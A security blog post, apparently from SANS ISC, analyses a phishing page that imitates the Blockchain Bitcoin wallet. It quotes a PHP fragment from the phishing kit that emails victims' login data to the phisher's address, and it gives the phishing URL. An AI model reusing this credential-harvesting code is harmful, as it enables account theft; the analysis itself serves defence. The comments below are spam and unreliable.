Phishing Campaigns Follow Trends
Those phishing emails that we receive every day in our mailboxes are often related to key players in different fields:
Internet actors | Google, Yahoo!, Facebook, ... |
Software or manufacturers | Apple, Microsoft, Adobe, ... |
Financial Services | Paypal, BoA, <name your preferred bank>, ... |
Services | DHL, eBay, ... |
But the landscape of online services is ever changing and new actors (and more precisely their customers) become new interesting targets. Yesterday, while hunting, I found for the first time a phishing page trying to lure the Bitcoin operator: BlockChain. Blockchain[1] is a key player in the management of digital assets. The fake[2] page looked like this:
In the mean time, the /block part of the website has been already shut down. Probably via the available webshell that was installed in the server:
Hopefully, the webshell isn't available anymore. But, it was possible to browse the PHP code and to gather more information about the guy behind this phishing page:
$from = "From: b <hacker@forever.org>\n"; $from .= "MIME-Version: 1.0\r\n"; $from .= "Content-Type: text/html; charset=ISO-8859-1\r\n"; if(@$_GET['accedi']=='login'){ mail("carlosromero19871@gmail.com", $subj, $msg1, $from); header( "Location: richiesta_otp.html" ); }else{
Note that the login procedure on BlockChain is extremely strong: 2FA authentication and one-time link is sent via email to approve all login attempts. Be sure that activate them if you're a BlockChain customer.
The fact that Bitcoins, the digital currency, is getting more and more popular makes it a new interesting target for attackers. And this is also the case in corporate environments: There is a trend in companies that make a reserve of Bitcoins to prevent possible Ransomware attacks![3]
[1] https://www.blockchain.com
[2] http://klimatika.com.ua/block/
[3] https://www.technologyreview.com/s/601643/companies-are-stockpiling-bitcoin-to-pay-off-cybercriminals/
Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key
Comments
www
Nov 17th 2022
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<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.
<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
isc.sans.edu
Dec 26th 2022
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Dec 26th 2022
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